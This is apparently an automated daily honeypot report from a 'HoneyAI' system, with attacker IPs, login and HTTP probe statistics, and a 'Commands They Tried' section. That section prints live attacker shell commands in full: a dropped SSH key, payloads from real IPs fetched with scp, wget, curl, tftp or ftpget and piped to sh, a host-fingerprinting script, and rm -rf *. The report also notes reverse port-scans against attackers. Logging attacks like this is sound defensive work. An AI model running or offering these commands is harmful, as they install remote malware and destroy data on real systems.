Daily Threat Report
Top Attacker IPs
- ๐ 104.234.32.144 BGPโ
- ๐ 60.208.196.64 BGPโ
- ๐ 219.129.112.13 BGPโ
- ๐ 104.234.32.234 BGPโ
- ๐ 173.239.213.12 BGPโ
Top Passwords Tried
- b3eacd33433b31b5
- 2ac9a6746aca543a
- b6ad34b0b6b7e38f
- 9c6d405bba2db24b
- 8c6976e5b5410415
๐ WEB HONEYPOT โ HoneyAI HTTP
AI-generated fake HTTP responses served to 200 scanner requests from 42 unique IPs (local, offline).
Top Paths Probed
- /
- /dispatch.asp
- /login
- /goform/set_LimitClient_cfg
- /apply.cgi
Top User-Agents
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Go-http-client/1.1
- Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0
- Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info)
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0
๐ฅ OPERATION SPINE โ Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **12** reverse port-scans against active attacker IPs. Out of these, **12** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h โ 273 IPs โ AbuseIPDB (community confidence scores updated) โ 273 IPs โ AlienVault OTX (pulse indicators added) โ 273 IPs โ Blocklist.de (auto-ban list updated) โ 273 IPs โ DShield/SANS (global threat feed updated)
๐คฃ ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
๐ Hall of Shame โ Passwords
b3eacd33433b31b5 2ac9a6746aca543a b6ad34b0b6b7e38f 9c6d405bba2db24b 8c6976e5b5410415 ๐ป Commands They Tried
uname -a; echo -e $_dq\x61\x75\x74\x68\x5F\x6F\x6B\x0A$_dq; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9 Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU= -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh /bin/./uname -s -v -n -r -m export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq uname -a; echo vT cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://41.216.189.92/nz.sh; curl -O http://41.216.189.92/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 41.216.189.92 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 41.216.189.92; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 41.216.189.92 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf * These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 11 de julio de 2026. Recorded 965 SSH connections and 34780 multi-protocol decoy events on HoneyAI, from 288 unique IPs. 273 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 598 login attempts from 122 unique IPs. Attackers executed 360 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 34780 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 166 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 200 HTTP requests from real scanners across 42 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 6 requests from 2 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 6233 authentication events from 2 IPs. The SNMP trap received 30 queries from 15 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 12 reverse port scans back to active attacker IPs. Out of these, 12 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 56555 alerts from 865 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.